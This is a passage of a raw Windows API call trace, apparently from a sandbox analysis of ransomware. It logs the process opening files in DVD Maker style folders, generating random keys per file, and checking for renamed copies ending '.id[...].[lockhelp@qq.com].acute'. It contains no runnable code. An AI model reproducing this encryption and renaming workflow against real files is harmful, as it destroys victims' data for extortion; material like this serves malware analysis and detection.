[0274.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.435] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.436] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.436] CloseHandle (hObject=0x37c) returned 1 [0274.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0274.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.436] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.437] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2821) returned 1 [0274.437] CloseHandle (hObject=0x37c) returned 1 [0274.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0274.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.437] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.438] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6203) returned 1 [0274.438] CloseHandle (hObject=0x37c) returned 1 [0274.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0274.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.438] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.438] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.438] CloseHandle (hObject=0x37c) returned 1 [0274.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0274.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.438] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.441] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.441] CloseHandle (hObject=0x37c) returned 1 [0274.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.441] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.442] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.442] CloseHandle (hObject=0x37c) returned 1 [0274.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0274.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.442] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.442] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.442] CloseHandle (hObject=0x37c) returned 1 [0274.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.443] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.443] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.443] CloseHandle (hObject=0x37c) returned 1 [0274.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0274.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.443] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.443] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.443] CloseHandle (hObject=0x37c) returned 1 [0274.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.443] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.444] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27789) returned 1 [0274.444] CloseHandle (hObject=0x37c) returned 1 [0274.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0274.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.444] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.445] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3823) returned 1 [0274.445] CloseHandle (hObject=0x37c) returned 1 [0274.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0274.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.446] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.446] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4456) returned 1 [0274.446] CloseHandle (hObject=0x37c) returned 1 [0274.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0274.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.446] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.446] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3076) returned 1 [0274.446] CloseHandle (hObject=0x37c) returned 1 [0274.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0274.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.446] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.447] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=693292) returned 1 [0274.447] CloseHandle (hObject=0x37c) returned 1 [0274.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0274.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.447] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.448] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=781292) returned 1 [0274.448] CloseHandle (hObject=0x37c) returned 1 [0274.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0274.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.448] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.448] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4525) returned 1 [0274.448] CloseHandle (hObject=0x37c) returned 1 [0274.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0274.448] GetFileAttributesW 